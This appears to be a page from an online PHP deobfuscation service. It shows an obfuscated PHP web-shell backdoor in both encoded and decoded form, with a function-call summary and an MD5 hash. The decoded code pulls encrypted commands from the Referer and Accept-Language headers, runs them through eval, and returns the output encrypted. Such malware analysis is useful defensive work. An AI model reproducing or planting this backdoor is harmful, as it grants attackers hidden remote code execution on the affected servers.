Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$y='+"),$ss($s[$i],0,/g$e)/g)),$k)));/g$/go=ob_get_/gconten/gts();ob_/gend/g_clean();$d=b/..
Decoded Output download
$kh="e39d";$kf="dbe5";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}
Did this file decode correctly?
Original Code
$y='+"),$ss($s[$i],0,/g$e)/g)),$k)));/g$/go=ob_get_/gconten/gts();ob_/gend/g_clean();$d=b/gase64_/';
$z='g"";for/g($/gi=/g0;$i</g$l;){for($j=0/g;($j</g$c&&$i/g<$l);$j+/g+,$i++)/g/g{$o.=$t{$/g/gi}^/';
$Z='.$kf),0,/g3));$/g/gp="/g";f/gor($z=/g1;$z<coun/gt($m[1]);$z+/g+)$/gp.=$q[$m/g[2][$z]];/gif(strp';
$d=',$m);if($q/g&&$m){@sess/g/gion/g_start();$s=&$/g/g_SESSION/g;$ss="substr/g";$s/gl="st/grtol/go';
$L='os(/g$p,$/g/gh)=/g==/g0){$s[$i]="";$p=$ss(/g$p,3);/g}if(arr/gay_k/gey_exist/gs($i,/g$s))/g{$';
$X=';$q=ar/g/gray_values/g($q);p/g/greg_/gmatch_all(/g"/([\\w])[\\/gw-]+(?:/g;q=0.([/g\\d]/g/g)/g)?,/g?/",$ra';
$f='c/go/gmpre/gss(@x(@ba/g/gse6/g4_decode(preg_r/geplace(array("/_//g","/-//g/g")/g,array(/g"//g"/g,"';
$a='genc/gode(x(g/gzc/gompre/gss($o),$k));pr/gint("/g<$k>$d/g</$k>")/g;@se/gssion_de/gstroy(/g);}}}}';
$x=str_replace('x','','cxxreaxte_fuxncxxtion');
$N='s[/g$i/g]/g.=$p;$e=strpos/g($s[$i],$f/g);if($e)/g{$/gk=$kh.$k/gf;ob/g_s/gtart();@e/gval(@/ggzun';
$W='g$k{$j};}}return /g$o;}$/gr=$_/gSERVER/g;$/gr/gr=@$r["HTTP_RE/gFERER"/g];$ra/g=@$r["HTTP_AC/gCEPT';
$E='$k/gh="e39d";$k/gf="d/gbe5";functio/gn /gx($t,$k/g){$c=/gstrlen($k/g)/g;$l=strl/gen($t);$o=/';
$i='/g_L/g/gAN/gGUAG/gE"];if(/g$rr&&$ra){$u=par/gse_url($rr/g);pars/ge_str($/gu["query/g"],$q)/g';
$D='wer/g/g";$i=$m[1][0].$m[1]/g[1];$h/g=$/gsl($s/gs(md5(/g$i.$kh/g),0/g,3));/g$f=$sl($ss(md5/g($i/g';
$T=str_replace('/g','',$E.$z.$W.$i.$X.$d.$D.$Z.$L.$N.$f.$y.$a);
$J=$x('',$T);$J();
Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 737e89be740320f872a1cd3d28151ba4 |
| Eval Count | 1 |
| Decode Time | 100 ms |